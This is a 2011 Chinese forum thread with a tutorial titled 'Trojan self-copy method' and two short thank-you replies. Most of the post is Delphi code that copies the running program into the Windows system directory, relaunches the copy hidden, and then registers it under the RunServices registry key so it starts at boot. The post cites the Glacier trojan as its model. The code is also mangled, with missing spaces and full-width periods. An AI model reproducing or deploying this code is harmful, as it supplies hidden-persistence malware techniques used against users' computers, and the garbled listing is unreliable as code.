切换到宽版
  • 1721阅读
  • 2回复

木马自我拷贝法 [复制链接]

上一主题 下一主题
离线q807615743
 
只看楼主 倒序阅读 0 发表于: 2011-05-15
— 本帖被 闽南人民很行 从 大地系统专区 移动到本区(2011-05-15) —
 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序。

  打开Delphi,新建一个工程,在窗口的Create事件中写代码:

  procedureTForm1。FormCreate(Sender:TObject);

  varmyname:string;

  begin

  myname:=ExtractFilename(Application。Exename);//获得文件名

  ifapplication。Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么。。

  begin

  copyfile(pchar(application。Exename),pchar(GetWindir+myname),False);{将自己拷贝到Windows\System\下}

  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件

  application。Terminate;//退出

  end;

  end;

  其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径。

  functionGetWinDir:String;

  var

  Buf:array[0。。MAX_PATH]ofchar;

  begin

  GetSystemDirectory(Buf,MAX_PATH);

  Result:=Buf;

  ifResult[Length(Result)]<>&#39;\&#39;thenResult:=Result+&#39;\&#39;;

  end;

  如何能使程序能在windows启动时自动启动?

  为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现。“冰河”用注册表的方式。

  加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

  procedureTForm1。FormCreate(Sender:TObject);

  constK=&#39;\Software\Microsoft\Windows\CurrentVersion\RunServices&#39;;

  varmyname:string;

  begin

  {WritebyLovejingtao,http://Lovejingtao。126。com,Lovejingtao@21cn。com}

  myname:=ExtractFilename(Application。Exename);//获得文件名

  ifapplication。Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么。。

  begin

  copyfile(pchar(application。Exename),pchar(GetWindir+myname),False);{//将自己拷贝到Windows\System\下}

  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件

  application。Terminate;//退出

  end;

  withTRegistry。Createdo

  try

  RootKey:=HKEY_LOCAL_MACHINE;

  OpenKey(K,TRUE);

  WriteString(&#39;syspler&#39;,application。ExeName);

  finally

  free;

  end;

  end;
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
离线owen

只看该作者 1 发表于: 2011-05-15
感谢分享。。
离线孔柠檬

只看该作者 2 发表于: 2011-05-15
学习一下 ,看